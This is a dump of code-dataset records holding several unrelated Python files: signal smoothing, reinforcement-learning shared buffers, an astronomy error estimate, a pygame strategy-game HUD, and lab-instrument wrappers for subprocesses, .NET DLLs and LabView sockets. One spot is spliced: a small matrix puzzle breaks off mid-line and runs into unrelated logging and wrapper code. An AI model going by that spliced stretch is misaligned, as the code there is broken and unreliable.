δ = np.trace(D_.T @ D_) / n ** (d + 2)\n λ = λs / δ\n\n # integral estimate\n i0, i1 = int(np.ceil(d / 2)), int(np.floor(d / 2))\n U = B(x)[i0:-i1, i0:-i1]\n\n # solve\n I = np.eye(n)\n return np.linalg.inv((I + λ * (D_.T @ U @ D_))) @ y\n\n\ndef smooth_optimal(x, y, d=2):\n yhat = np.empty_like(y)\n if np.ma.is_masked(y):\n yhat[~y.mask], λopt = _smooth_optimal(x[~y.mask], y.data[~y.mask], d)\n return yhat, λopt\n else:\n return _smooth_optimal(x, y.data, d)\n\n\ndef _smooth_optimal(x, y, d=2):\n # Solve for optimal smoothing parameter λs. That is minimize\n # cross-validation variance\n n = len(y)\n I = np.eye(n)\n D_ = D(x, d)\n R = D_.T @ D_\n # scale factor for smoothing parameter\n δ = np.trace(R) / n ** (d + 2)\n\n # integral estimate\n i0, i1 = int(np.ceil(d / 2)), int(np.floor(d / 2))\n U = B(x)[i0:-i1, i0:-i1]\n\n λs0 = 0.001 # seems to be a good initial choice\n result = minimize(_objective, λs0 / δ, (y, I, D_, R, U), 'Nelder-Mead')\n if result.success:\n λopt = result.x\n yhat = np.linalg.inv((I + λopt * (D_.T @ U @ D_))) @ y\n return yhat, (λopt * δ)\n\n raise ValueError('Optimization unsuccessful: %r' % result.message)\n\n\ndef _objective(λ, y, I, D_, R, U):\n # objective function for minimization. returns the cross validation\n # variance associated with the smoothness λ\n n = len(y)\n yhat = np.linalg.inv((I + λ * R)) @ y\n\n H_ = np.linalg.inv(I + λ * (D_.T @ U @ D_))\n\n rss = np.square(yhat - y).sum()\n return (rss / n) / (1 - np.trace(H_) / n) ** 2\n\n\ndef D(x, d=1):\n # order d finite difference derivative estimator for unequally spaced data:\n # f' = D f\n # Defines differential operator via recurrence relation.\n # TODO: various methods.\n\n n = len(x)\n # first order derivative estimator (matrix operator)\n dx = np.roll(x, -d)[:-d] - x[:-d]\n Vd = np.eye(n - d) / dx\n Dhat1 = np.eye(n - d, n - d + 1, 1) - np.eye(n - d, n - d + 1)\n\n if d == 1:\n return d * Vd @ Dhat1\n return d * Vd @ Dhat1 @ D(x, d - 1)\n\n\ndef B(x):\n # midpoint rule integration matrix\n # TODO: various other methods.\n B = np.empty(len(x))\n B[0] = np.diff(x[:2])\n B[1:-1] = np.roll(x, -2)[:-2] - x[:-2]\n B[-1] = np.diff(x[-2:])\n return np.diag(B)\n\n\ndef H(x, λs, d=2):\n # M = W = I for now\n\n # trim down integral estimator matrix\n i0, i1 = int(np.ceil(d / 2)), int(np.floor(d / 2))\n U = B(x)[i0:-i1, i0:-i1]\n\n # derivative estimator\n D_ = D(x, d)\n\n # rescale smoothness parameter\n δ = np.trace(D_.T @ D_) / len(x) ** (d + 2)\n I = np.eye(len(x))\n return np.linalg.inv(I + (λs / δ) * (D_.T @ U @ D_))\n\n\ndef Vgcv(x, y, yhat, λs):\n # cross validation variance\n n = len(y)\n rss = np.square(yhat - y).sum()\n return (rss / n) / (1 - np.trace(H(x, y, λs)) / n) ** 2\n","sub_path":"tsa/smoothing/tv.py","file_name":"tv.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"591984377","text":"import math\n\nimport numpy as np\nimport torch\nfrom gym import spaces\n\nfrom algorithms.appooc.appooc_utils import copy_dict_structure, iter_dicts_recursively, iterate_recursively\nfrom algorithms.appo_common.model_utils import get_hidden_size\nfrom algorithms.utils.action_distributions import calc_num_logits, calc_num_actions\nfrom utils.utils import log\n\n\ndef to_torch_dtype(numpy_dtype):\n \"\"\"from_numpy automatically infers type, so we leverage that.\"\"\"\n x = np.zeros([1], dtype=numpy_dtype)\n t = torch.from_numpy(x)\n return t.dtype\n\n\ndef to_numpy(t, num_dimensions):\n arr_shape = t.shape[:num_dimensions]\n arr = np.ndarray(arr_shape, dtype=object)\n to_numpy_func(t, arr)\n return arr\n\n\ndef to_numpy_func(t, arr):\n if len(arr.shape) == 1:\n for i in range(t.shape[0]):\n arr[i] = t[i]\n else:\n for i in range(t.shape[0]):\n to_numpy_func(t[i], arr[i])\n\n\ndef ensure_memory_shared(*tensors):\n \"\"\"To prevent programming errors, ensure all tensors are in shared memory.\"\"\"\n for tensor_dict in tensors:\n for _, _, t in iterate_recursively(tensor_dict):\n assert t.is_shared()\n\n\nclass PolicyOutput:\n def __init__(self, name, size):\n self.name = name\n self.size = size\n\n def __repr__(self):\n return repr((self.name, self.size))\n\n\nclass SharedBuffers:\n def __init__(self, cfg, num_agents, obs_space, action_space):\n self.cfg = cfg\n self.num_agents = num_agents\n self.envs_per_split = cfg.num_envs_per_worker // cfg.worker_num_splits\n self.num_traj_buffers = self.calc_num_trajectory_buffers()\n\n num_actions = calc_num_actions(action_space)\n num_action_logits = calc_num_logits(action_space)\n self.num_actions = num_actions\n self.num_action_logits = num_action_logits\n\n hidden_size = get_hidden_size(self.cfg)\n\n log.debug('Allocating shared memory for trajectories')\n self.tensors = TensorDict()\n\n # policy inputs\n obs_dict = TensorDict()\n self.tensors['obs'] = obs_dict\n if isinstance(obs_space, spaces.Dict):\n for space_name, space in obs_space.spaces.items():\n obs_dict[space_name] = self.init_tensor(space.dtype, space.shape)\n else:\n raise Exception('Only Dict observations spaces are supported')\n\n # env outputs\n self.tensors['rewards'] = self.init_tensor(torch.float32, [1])\n self.tensors['dones'] = self.init_tensor(torch.bool, [1])\n\n # policy outputs\n policy_outputs = [\n ('action_logits', num_action_logits * cfg.num_options),\n ('actions', num_actions * cfg.num_options),\n ('log_prob_actions', 1 * cfg.num_options),\n ('option_idx', 1),\n ('policy_version', 1),\n ('rnn_states', hidden_size),\n ('termination_mask', cfg.num_options),\n ('termination_prob', cfg.num_options),\n ('values', cfg.num_options),\n ]\n\n policy_outputs = [PolicyOutput(*po) for po in policy_outputs]\n policy_outputs = sorted(policy_outputs, key=lambda policy_output: policy_output.name)\n self.policy_outputs = policy_outputs\n\n for po in policy_outputs:\n self.tensors[po.name] = self.init_tensor(torch.float32, [po.size])\n\n ensure_memory_shared(self.tensors)\n\n # this is for performance optimization\n # indexing in numpy arrays is faster than in PyTorch tensors\n self.tensors_individual_transitions = self.tensor_dict_to_numpy(\n len(self.tensor_dimensions()))\n self.tensor_trajectories = self.tensor_dict_to_numpy(len(self.tensor_dimensions()) - 1)\n\n # create a shared tensor to indicate when the learner is done with the trajectory buffer and\n # it can be used to store the next trajectory\n traj_buffer_available_shape = [\n self.cfg.num_workers,\n self.cfg.worker_num_splits,\n self.envs_per_split,\n self.num_agents,\n self.num_traj_buffers,\n ]\n self.is_traj_tensor_available = torch.ones(traj_buffer_available_shape, dtype=torch.uint8)\n self.is_traj_tensor_available.share_memory_()\n self.is_traj_tensor_available = to_numpy(self.is_traj_tensor_available, 2)\n\n # copying small policy outputs (e.g. individual value predictions & action logits) to shared memory is a\n # bottleneck on the policy worker. For optimization purposes we create additional tensors to hold\n # just concatenated policy outputs. Rollout workers parse the data and add it to the trajectory buffers\n # in a proper format\n policy_outputs_combined_size = sum(po.size for po in policy_outputs)\n policy_outputs_shape = [\n self.cfg.num_workers,\n self.cfg.worker_num_splits,\n self.envs_per_split,\n self.num_agents,\n policy_outputs_combined_size,\n ]\n\n self.policy_outputs = policy_outputs\n self.policy_output_tensors = torch.zeros(policy_outputs_shape, dtype=torch.float32)\n self.policy_output_tensors.share_memory_()\n self.policy_output_tensors = to_numpy(self.policy_output_tensors, 4)\n\n self.policy_versions = torch.zeros([self.cfg.num_policies], dtype=torch.int32)\n self.policy_versions.share_memory_()\n\n # a list of boolean flags to be shared among components that indicate that experience collection should be\n # temporarily stopped (e.g. due to too much experience accumulated on the learner)\n self.stop_experience_collection = torch.ones([self.cfg.num_policies], dtype=torch.bool)\n self.stop_experience_collection.share_memory_()\n\n def calc_num_trajectory_buffers(self):\n # calculate how many buffers are required per env runner to collect one \"macro batch\" for training\n # once macro batch is collected, all buffers will be released\n # we could have just copied the tensors on the learner to avoid this complicated logic, but it's better for\n # performance to keep data in shared buffers until they're needed\n samples_per_iteration = self.cfg.num_batches_per_iteration * self.cfg.batch_size * self.cfg.num_policies\n num_traj_buffers = samples_per_iteration / (self.cfg.num_workers *\n self.cfg.num_envs_per_worker * self.num_agents *\n self.cfg.rollout)\n\n # make sure we definitely have enough buffers to actually never wait\n # usually it'll be just two buffers and we swap back and forth\n num_traj_buffers *= 3\n\n # make sure we have at least two to swap between so we never actually have to wait\n num_traj_buffers = math.ceil(max(num_traj_buffers, self.cfg.min_traj_buffers_per_worker))\n log.info('Using %d sets of trajectory buffers', num_traj_buffers)\n return num_traj_buffers\n\n def init_tensor(self, tensor_type, tensor_shape):\n if not isinstance(tensor_type, torch.dtype):\n tensor_type = to_torch_dtype(tensor_type)\n\n dimensions = self.tensor_dimensions()\n final_shape = dimensions + list(tensor_shape)\n t = torch.zeros(final_shape, dtype=tensor_type)\n t.share_memory_()\n return t\n\n def tensor_dimensions(self):\n dimensions = [\n self.cfg.num_workers,\n self.cfg.worker_num_splits,\n self.envs_per_split,\n self.num_agents,\n self.num_traj_buffers,\n self.cfg.rollout,\n ]\n return dimensions\n\n def tensor_dict_to_numpy(self, num_dimensions):\n numpy_dict = copy_dict_structure(self.tensors)\n for d1, d2, key, curr_t, value2 in iter_dicts_recursively(self.tensors, numpy_dict):\n assert isinstance(curr_t, torch.Tensor)\n assert value2 is None\n d2[key] = to_numpy(curr_t, num_dimensions)\n assert isinstance(d2[key], np.ndarray)\n return numpy_dict\n\n\nclass TensorDict(dict):\n def index(self, indices):\n return self.index_func(self, indices)\n\n def index_func(self, x, indices):\n if isinstance(x, (dict, TensorDict)):\n res = TensorDict()\n for key, value in x.items():\n res[key] = self.index_func(value, indices)\n return res\n else:\n t = x[indices]\n return t\n\n def set_data(self, index, new_data):\n self.set_data_func(self, index, new_data)\n\n def set_data_func(self, x, index, new_data):\n if isinstance(new_data, (dict, TensorDict)):\n for new_data_key, new_data_value in new_data.items():\n self.set_data_func(x[new_data_key], index, new_data_value)\n elif isinstance(new_data, torch.Tensor):\n x[index].copy_(new_data)\n elif isinstance(new_data, np.ndarray):\n t = torch.from_numpy(new_data)\n x[index].copy_(t)\n else:\n raise Exception(f'Type {type(new_data)} not supported in set_data_func')\n","sub_path":"algorithms/appooc/shared_buffers.py","file_name":"shared_buffers.py","file_ext":"py","file_size_in_byte":9097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"378684658","text":"import numpy as np\n\n#mass of the galaxy\n\nA_a = (1.3*10**12)*3.5\nA_e = (2.9*10**12)*3.5\n\n#tidal radius\n\nB_a = 15\nB_e = 3\n\n#distance\n\nR_cg = 3.9*10**3\n\n#brackets\n\nbrac_a = (B_a/R_cg)\nbrac_e = (B_e/R_cg)\n\n#percentage error\n\npersError = brac_e/brac_a\n\n#bracket final\nbrac_fa = brac_a**3\nbrac_fe = (3*persError)*(brac_fa)\n\nanswer = A_a*brac_fa\n\nerror = (answer)*(np.sqrt((A_e/A_a)**2+(brac_fe/brac_fa)**2))\n\nprint('Answer:', answer)\nprint('Error:',error)","sub_path":"ast4/Error.py","file_name":"Error.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"223687667","text":"\"\"\"HUD Overlay Class.\"\"\"\n\nimport pygame\nimport math\nfrom layout import Layout\nfrom mapresource import ResourceType\nfrom currency import CurrencyType\nfrom tree_gui import TreeGUI\n\n\nclass HudOverlay:\n \"\"\"Class to represent a HUD Overlay.\"\"\"\n\n def __init__(self, game_state, screen_surface,\n quick_surface, resolution, layout):\n \"\"\"\n Construct hud_overlay.\n\n :param game_state: ref to current game state object.\n :param screen_surface: pygame display surface.\n :param resolution: tuple or screen resolution (w, h).\n \"\"\"\n self._game_state = game_state\n self._grid = game_state.grid\n self._myciv = game_state.get_civ(self._game_state.my_id)\n self._screen = screen_surface\n self._quick_surface = quick_surface\n self._resolution = resolution\n self._layout = layout\n civ = game_state.get_civ(game_state.my_id)\n self._GUI_tree = TreeGUI(quick_surface, civ.tree)\n self.font = pygame.font.Font('freesansbold.ttf', 12)\n path = \"../resources/images/hud/\"\n x, y = 50, 50\n self._hud_images = {\n CurrencyType.GOLD: self._load_img(path+\"gold_logo.png\", x, y),\n CurrencyType.FOOD: self._load_img(path+\"food_logo.png\", x, y),\n CurrencyType.SCIENCE: self._load_img(path+\"science_logo.png\",\n x, y),\n ResourceType.GEMS: self._load_img(path+\"gems.png\", x, y),\n ResourceType.LOGS: self._load_img(path+\"logs.png\", x, y),\n ResourceType.COAL: self._load_img(path+\"coal.png\", x, y),\n ResourceType.IRON: self._load_img(path+\"iron.png\", x, y),\n 0: self._load_img(path+\"research_logo.png\", (x-(x//5)-(x//10)),\n (y-(y//10))),\n 1: self._load_img(path+\"research_background.png\", x, y),\n 2: self._load_img(path+\"button_disabled.png\", x*2, y),\n 3: self._load_img(path+\"button_active.png\", x*2, y)\n }\n path = \"../resources/images/tiles/\"\n scale = round(200 / self._grid.size)\n x, y = math.ceil((scale * 2 * math.sqrt(3) / 2)), scale * 2\n self._map_layout = Layout(scale, (200, self._resolution[1]-170))\n self.map_imgs = {\n (0, 0): self._load_img(path+\"tundra_flat.png\", x, y),\n (0, 1): self._load_img(path+\"grassland_flat.png\", x, y),\n (0, 2): self._load_img(path+\"desert_flat.png\", x, y),\n (1, 0): self._load_img(path+\"tundra_hill.png\", x, y),\n (1, 1): self._load_img(path+\"grassland_hill.png\", x, y),\n (1, 2): self._load_img(path+\"desert_hill.png\", x, y),\n (2, 0): self._load_img(path+\"tundra_mountain.png\", x, y),\n (2, 1): self._load_img(path+\"grassland_mountain.png\", x, y),\n (2, 2): self._load_img(path+\"desert_mountain.png\", x, y),\n (3, 0): self._load_img(path+\"ocean.png\", x, y),\n (3, 1): self._load_img(path+\"ocean.png\", x, y),\n (3, 2): self._load_img(path+\"ocean.png\", x, y),\n 0: self._load_img(path+\"view-highlight.png\", x, y)}\n self._background = (74, 74, 74)\n self._color1 = (0, 0, 0)\n self._color2 = (255, 255, 255)\n self._color3 = (124, 252, 0)\n\n def _load_img(self, img, size_w, size_h):\n image = pygame.image.load(img).convert_alpha()\n return self._img_scale(image, size_w, size_h)\n\n def _img_scale(self, img, size_w, size_h):\n return pygame.transform.smoothscale(img, (size_w, size_h))\n\n def draw(self):\n \"\"\"Draw all HUD elements.\"\"\"\n self._screen.fill((0, 0, 0, 0))\n self.draw_resource_panel()\n self.draw_info_panel()\n self.draw_minimap()\n self.draw_button_panel()\n\n def draw_quick_surface(self, layouts):\n \"\"\"Draw quick moving HUD elements.\"\"\"\n self._quick_surface.fill((0, 0, 0, 0))\n self.draw_view(layouts)\n\n def draw_view(self, layouts):\n \"\"\"Draw box showing current view.\"\"\"\n self.highlight_view(self._layout)\n for layout in layouts:\n self.highlight_view(layout)\n\n def highlight_view(self, layout):\n \"\"\"Highlight viewed tiles.\"\"\"\n size = pygame.display.get_surface().get_size()\n image = self.map_imgs[0]\n for hex_point in self._grid.get_hextiles():\n hexagon = self._grid.get_hextile(hex_point)\n hexagon_coords = layout.hex_to_pixel(hexagon)\n if (size[0] + 100 > hexagon_coords[0] > -100 and\n size[1] + 100 > hexagon_coords[1] > -100):\n hexagon_coords = self._map_layout.hex_to_pixel(hexagon)\n self._quick_surface.blit(\n image,\n (hexagon_coords[0]\n - math.ceil(self._map_layout.size\n * (math.sqrt(3) / 2)),\n hexagon_coords[1] - self._map_layout.size))\n\n def draw_resource_panel(self):\n \"\"\"Draw resource panel.\"\"\"\n mapresources = self._myciv.resources\n resources = {CurrencyType.GOLD: self._myciv.gold,\n CurrencyType.FOOD: self._myciv.food,\n CurrencyType.SCIENCE: self._myciv.science,\n ResourceType.GEMS: mapresources[ResourceType.GEMS],\n ResourceType.LOGS: mapresources[ResourceType.LOGS],\n ResourceType.COAL: mapresources[ResourceType.COAL],\n ResourceType.IRON: mapresources[ResourceType.IRON]}\n points = [(450, 0),\n (0, 0),\n (0, 60),\n (430, 60),\n (450, 40)]\n pygame.draw.polygon(self._screen, self._background, points, 0)\n offset = 10\n for resource in resources:\n value = resources[resource]\n if value is not None:\n logo = self._hud_images[resource]\n self._screen.blit(logo, (offset, 5))\n self.draw_text(value, (offset+5, 30), self._color2)\n offset += 60\n\n def draw_info_panel(self):\n \"\"\"Draw info panel containing turn details and ping.\"\"\"\n points = [(self._resolution[0] - 240, 0),\n (self._resolution[0], 0),\n (self._resolution[0], 40),\n (self._resolution[0] - 220, 40),\n (self._resolution[0] - 240, 20)]\n pygame.draw.polygon(self._screen, self._background, points, 0)\n offset = self._resolution[0] - 200\n turn_count = self._game_state.turn_count\n self.draw_text(\"Turn: {}\".format(turn_count),\n (offset, 20),\n self._color2)\n offset += 80\n my_turn = self._game_state.my_turn\n if my_turn:\n color = self._color3\n else:\n color = self._color2\n value = \"Player{}\\'s Turn\".format(self._game_state._current_player)\n self.draw_text(value,\n (offset + 20, 20),\n color)\n\n def draw_minimap(self):\n \"\"\"Draw minimap.\"\"\"\n lay = Layout(200, (200, self._resolution[1]-170), False)\n points = lay.polygon_corners(self._grid.get_hextile(self._color1))\n x, y = 0, self._resolution[1] - 344\n pygame.draw.rect(self._screen,\n self._background, (x, y, 100, 350), 0)\n pygame.draw.polygon(self._screen, self._background, points, 0)\n self.draw_hex_grid()\n\n def draw_button_panel(self):\n \"\"\"Draw button to open science tree.\"\"\"\n points = [(self._resolution[0] - 200, self._resolution[1]),\n (self._resolution[0], self._resolution[1]),\n (self._resolution[0], self._resolution[1] - 60),\n (self._resolution[0] - 180, self._resolution[1] - 60),\n (self._resolution[0] - 200, self._resolution[1] - 40)]\n pygame.draw.polygon(self._screen, self._background, points, 0)\n logo_background = self._hud_images[1]\n logo_forground = self._hud_images[0]\n x, y = self._resolution[0] - 55, self._resolution[1] - 55\n self._screen.blit(logo_background, (x, y))\n z = 50\n self._screen.blit(logo_forground, (x+((z//5)+(z//10)//2),\n (y+((z//10)//2))))\n my_turn = self._game_state.my_turn\n if my_turn:\n image = self._hud_images[3]\n else:\n image = self._hud_images[2]\n x, y = self._resolution[0] - 170, self._resolution[1] - 55\n self._screen.blit(image, (x, y))\n self.draw_text(\"End Turn\", (x+30, y+25), self._color1)\n\n def draw_text(self, text, position, color):\n \"\"\"\n Draw text to screen.\n\n :param text: text to be drawn.\n :param position: tuple (x,y).\n \"\"\"\n text = str(text)\n text = self.font.render(text, True, color)\n rect = text.get_rect()\n rect.center = (position[0] + 20, position[1])\n self._screen.blit(text, rect)\n\n def draw_hex_grid(self):\n \"\"\"Draw the hexgrid.\"\"\"\n grid = self._grid\n for hex_point in grid.get_hextiles():\n hexagon = grid.get_hextile(hex_point)\n hexagon_coords = self._map_layout.hex_to_pixel(hexagon)\n terrain = hexagon.terrain\n terrain_image = self.map_imgs[\n (terrain.terrain_type.value, terrain.biome.value)]\n self._screen.blit(\n terrain_image,\n (hexagon_coords[0]\n - math.ceil(self._map_layout.size * (math.sqrt(3) / 2)),\n hexagon_coords[1] - self._map_layout.size))\n\n def draw_tree(self):\n \"\"\"Draw Research Tree.\"\"\"\n self._GUI_tree.display_menu()\n","sub_path":"client/src/hud_overlay.py","file_name":"hud_overlay.py","file_ext":"py","file_size_in_byte":9809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"125717755","text":"for i in range(int(input())):\r\n z=int(input())\r\n m=[input().split() for j in range(z)] \r\n m=[list(map(int,i))for i in m]\r\n ma=float('-inf')\r\n b=len(m[0])\r\n for j in range(b):\r\n q=[]\r\n bol=True\r\n for k in range(1,z):\r\n if m[k][j]>m[k-1][j]:\r\n q.append(m[k][j])\r\n else:\r\n bol=False\r\n if bol:\r\n if ma0:\n self.logger.debug(f'…{remaining} more lines')\n for line in lines[-show_count//2:]:\n self.logger.debug(f'► {line}')\n return ret\n\n def background(self, *extra_arguments, **flags):\n ''' Run the executable in the background (returning immediately while\n the executable continues running).\n\n Once the background process is running,\n\n * Retreive standard output from the executable with self.read_stdout\n\n * Write to standard input self.write_stdin\n\n * Kill the process with self.kill\n\n * Check whether the process is running with self.running\n\n Normally, the command line arguments are determined by\n\n * appending extra_arguments to the global arguments in self.settings.arguments, and\n\n * appending pairs of [key,value] from the `flags` dictionary to the\n global flags defined with command flags in local state traits in\n `self.settings`\n\n Use the self.no_state_arguments context manager to skip these\n global arguments like this::\n\n with self.no_state_arguments:\n self.background(...)\n\n :returns: None\n '''\n def stdout_to_queue(fd, cmdl):\n ''' Thread worker to funnel stdout into a queue\n '''\n def readline():\n return fd.readline()\n pid = self.backend.pid\n q = self._stdout_queue\n for line in iter(fd.readline, ''):\n line = line.decode(errors='replace').replace('\\r', '')\n if len(line) > 0:\n q.put(line)\n else:\n break\n self.backend = None\n\n # Respawn (or don't)\n if self.__contexts.setdefault(\n 'respawn', False) and not self.__kill:\n self.logger.debug('respawning')\n self._kill_proc_tree(pid)\n spawn(cmdl)\n else:\n self.logger.debug('stdout closed; execution done')\n\n def stderr_to_exception(fd, cmdl):\n ''' Thread worker to raise exceptions on standard error output\n '''\n for line in iter(fd.readline, ''):\n if self.backend is None:\n break\n line = line.decode(errors='replace').replace('\\r', '')\n if len(line) > 0:\n self.logger.debug(f'stderr {repr(line)}')\n# raise Exception(line)\n else:\n break\n\n def spawn(cmdl):\n \"\"\" Execute the binary in the background (nonblocking),\n while funneling its standard output to a queue in a thread.\n\n :param cmd: iterable containing the binary path, then\n each argument to be passed to the binary.\n\n :returns: None\n \"\"\"\n if self.running():\n raise Exception('already running')\n\n si = sp.STARTUPINFO()\n si.dwFlags |= sp.STARTF_USESHOWWINDOW\n\n proc = sp.Popen(list(cmdl), stdout=sp.PIPE, startupinfo=si,\n bufsize=1,\n creationflags=sp.CREATE_NEW_PROCESS_GROUP,\n stderr=sp.PIPE)\n\n self.backend = proc\n Thread(target=lambda: stdout_to_queue(proc.stdout, cmdl)).start()\n if self.__contexts.setdefault('exception_on_stderr', False):\n Thread(target=lambda: stderr_to_exception(\n proc.stderr, cmdl)).start()\n\n # Generate the commandline and spawn\n cmdl = self.__make_commandline(*extra_arguments, **flags)\n try:\n path = os.path.relpath(cmdl[0])\n except ValueError:\n path = cmdl[0]\n\n self.logger.debug(\n f\"background execute: {repr(' '.join((path,) + cmdl[1:]))}\")\n self.__kill = False\n spawn(self.__make_commandline(*extra_arguments, **flags))\n\n def __make_commandline(self, *extra_arguments, **flags):\n ''' Form a list of commandline argument strings for foreground\n or background calls.\n '''\n for k, v in flags.items():\n if not (isinstance(k, str) and isinstance(v, str)):\n raise ValueError(\n 'command line flag keys and values must be strings')\n\n if self.__contexts.setdefault('use_state_arguments', True):\n all_flags = dict(\n [(k, v) for k, v in self.settings.traits().items() if v.command])\n\n # Check for invalid flags\n bad_flags = set(flags.keys()).difference(all_flags.keys())\n if len(bad_flags) > 0:\n msg = f'commandline keyword arguments {repr(tuple(bad_flags))} not found in {repr(self)}.settings'\n raise ValueError(msg)\n\n args = list(self.settings.arguments)\n if extra_arguments is not None:\n args = args + list(extra_arguments)\n if self.settings.arguments_min\\\n and len(args) < self.settings.arguments_min:\n raise ValueError(\n f'{repr(self)} given {repr(args)} arguments but needs at least {self.settings.arguments_min}')\n\n # Set flags according to the arguments\n for k, v in flags.items():\n setattr(self.settings, k, v)\n else:\n args = list(extra_arguments)\n # Set flags according to the arguments\n for k, v in flags.items():\n if not (isinstance(k, str) and isinstance(v, str)):\n raise ValueError(\n 'command line values and flags must be strings')\n args += [k, v]\n\n cmd = (self.settings.binary_path,) + tuple(args)\n\n # Update state traits with the flags\n if self.__contexts['use_state_arguments']:\n for k, trait in self.settings.traits().items():\n v = getattr(self.settings, k)\n\n if trait.command and v is not None:\n if isinstance(trait, core.Bool):\n if v:\n cmd = cmd + (trait.command,)\n elif v is not None:\n cmd = cmd + (trait.command, str(v))\n\n return cmd\n\n def read_stdout(self, wait_for=0):\n \"\"\" Return string output queued from stdout for a process running\n in the background. This clears the queue.\n\n Returns an empty string if the command line program has not been\n executed or is empty. Running the command line multiple times overwrites the queue.\n\n :returns: stdout\n \"\"\"\n result = ''\n try:\n self._stdout_queue\n except BaseException:\n return result\n\n try:\n n = 0\n while True:\n line = self._stdout_queue.get(\n wait_for > 0, timeout=self.settings.timeout)\n if isinstance(line, Exception):\n raise line\n\n n += 1\n result += line\n\n if wait_for > 0 and n == wait_for:\n break\n except Empty:\n pass\n\n return result\n\n def write_stdin(self, text):\n \"\"\" Write characters to stdin if a background process is running. Raises\n Exception if no background process is running.\n \"\"\"\n try:\n self.backend.stdin.write(text)\n except core.ConnectionError:\n raise Exception(\"process not running, could not write no stdin\")\n\n def kill(self):\n \"\"\" If a process is running in the background, kill it. Sends a logger\n warning if no process is running.\n \"\"\"\n self.__kill = True\n backend = self.backend\n if self.running():\n self.logger.debug(f'killing process {backend.pid}') \n self._kill_proc_tree(backend.pid)\n\n def running(self):\n \"\"\" Return whether the executable is currently running\n\n :returns: True if running, otherwise False\n \"\"\"\n # Cache the current running one for a second in case the backend\n # \"disconnects\"\n backend = self.backend\n return self.state.connected \\\n and backend is not None \\\n and backend.poll() is None\n\n def clear(self):\n \"\"\" Clear queued standard output, discarding any contents\n \"\"\"\n self.read_stdout()\n\n def disconnect(self):\n self.kill()\n\n @staticmethod\n def _kill_proc_tree(pid, including_parent=True):\n ''' Kill the process by pid, and any spawned child processes.\n What a dark metaphor.\n '''\n try:\n parent = psutil.Process(pid)\n\n # Ever notice that this metaphor is very dark?\n children = parent.children(recursive=False)\n\n # Get the parent first to prevent respawning\n if including_parent:\n parent.kill()\n parent.wait(5)\n\n for child in children:\n CommandLineWrapper._kill_proc_tree(child.pid)\n except psutil.NoSuchProcess:\n pass\n\n\nclass DotNetDevice(core.Device):\n \"\"\" This Device backend represents a wrapper around a .NET library. It is implemented\n with pythonnet, and handlesimports.\n\n In order to implement a DotNetDevice subclass:\n\n * define the attribute `library = `, the python module with copies of the .NET DLLs are\n\n * define the attribute `dll_name = \"mydllname.dll\"`, the name of the DLL binary in the python module above\n\n When a DotNetDevice is instantiated, it tries to load the dll according to the above specifications.\n\n Other attributes of DotNetDevice use the following conventions\n\n * `backend` may be set by a subclass `connect` method (otherwise it is left as None)\n\n \"\"\"\n library = None # Must be a module\n dll_name = None\n _dlls = {}\n\n def __imports__(self):\n \"\"\" DotNetDevice loads the DLL; importing in the\n class definition tries to load a lot of DLLs\n on import\n of ssmdevices, which would 1) break platforms\n that do not support the DLL, and 2) waste\n memory, and 3)\n \"\"\"\n\n if hasattr(self.__class__, '__dll__') and not hasattr(self, 'dll'):\n self.dll = self.__class__.__dll__\n return\n\n if self.dll_name is None:\n raise Exception('Need file name of a dll binary')\n if self.library is None:\n raise Exception(\n 'Need the python module that shares the library path')\n try:\n import clr\n except ImportError as err:\n if str(err) == 'No module named clr':\n warnings.warn(\n 'could not import pythonnet support via clr module; no support for .NET drivers')\n return None\n else:\n raise err\n\n import os\n clr.setPreload(False)\n # CPython and .NET libraries: Are they friends?\n clr.AddReference('System.Reflection')\n from System.Reflection import Assembly\n import System\n\n# if libname is None:\n libname = os.path.splitext(os.path.basename(self.dll_name))[0]\n\n if hasattr(self.library, '__loader__'):\n \"\"\" If the python module is packaged as a .egg file,\n then use some introspection and the module's\n __loader__ to load the contents of the dll\n \"\"\"\n# relpath = module.__name__.replace('.', os.path.sep)\n self.dll_name = os.path.join(\n self.library.__path__[0], self.dll_name)\n contents = self.library.__loader__.get_data(self.dll_name)\n else:\n path = os.path.join(self.library.__path__[0], self.dll_name)\n with open(path, 'rb') as f:\n contents = f.read()\n\n name = System.Array[System.Byte](contents)\n self._dlls[self.dll_name] = Assembly.Load(name)\n self.dll = __import__(libname)\n try:\n self.__class__.__dll__ = self.dll\n except AttributeError: # Race condition =/\n pass\n\n def connect(self):\n pass\n\n\nclass LabviewSocketInterface(core.Device):\n \"\"\" Implement the basic sockets-based control interface for labview.\n This implementation uses a transmit and receive socket.\n\n State sets are implemented by simple ' command value' strings\n and implemented with the 'command' keyword (like VISA strings).\n Subclasses can therefore implement support for commands in\n specific labview VI the same was as in VISA commands by\n assigning the commands implemented in the corresponding labview VI.\n\n The `resource` argument (which can also be set as `settings.resource`)\n is the ip address of the host where the labview script\n is running. Use the tx_port and rx_port attributes to set the\n TCP/IP ports where communication is to take place.\n \"\"\"\n\n class state(core.Device.state):\n pass\n\n class settings(core.Device.settings):\n resource = core.Unicode(default_value='127.0.0.1',\n help='IP address where the LabView VI listens for a socket')\n tx_port = core.Int(default_value=61551, help='TX port to send to the LabView VI')\n rx_port = core.Int(default_value=61552, help='TX port to send to the LabView VI')\n delay = core.Float(default_value=1, help='time to wait after each state write or query')\n timeout = core.Float(default_value=2,\n help='maximum time to wait for a reply after sending before raising an Exception')\n rx_buffer_size = core.Int(default_value=1024)\n\n def connect(self):\n self.backend = {'tx': socket.socket(socket.AF_INET, socket.SOCK_DGRAM),\n 'rx': socket.socket(socket.AF_INET, socket.SOCK_DGRAM)}\n\n self.backend['rx'].bind((self.settings.resource,\n self.settings.rx_port))\n self.backend['rx'].settimeout(self.settings.timeout)\n self.clear()\n\n def disconnect(self):\n for sock in list(self.backend.values()):\n try:\n sock.shutdown(socket.SHUT_RDWR)\n sock.close()\n except BaseException:\n self.logger.error('could not close socket ', repr(sock))\n\n def write(self, msg):\n \"\"\" Send a string over the tx socket.\n \"\"\"\n self.logger.debug(f'write {repr(msg)}')\n self.backend['tx'].sendto(msg, (self.settings.resource,\n self.settings.tx_port))\n util.sleep(self.settings.delay)\n\n def __set_state__(self, trait, 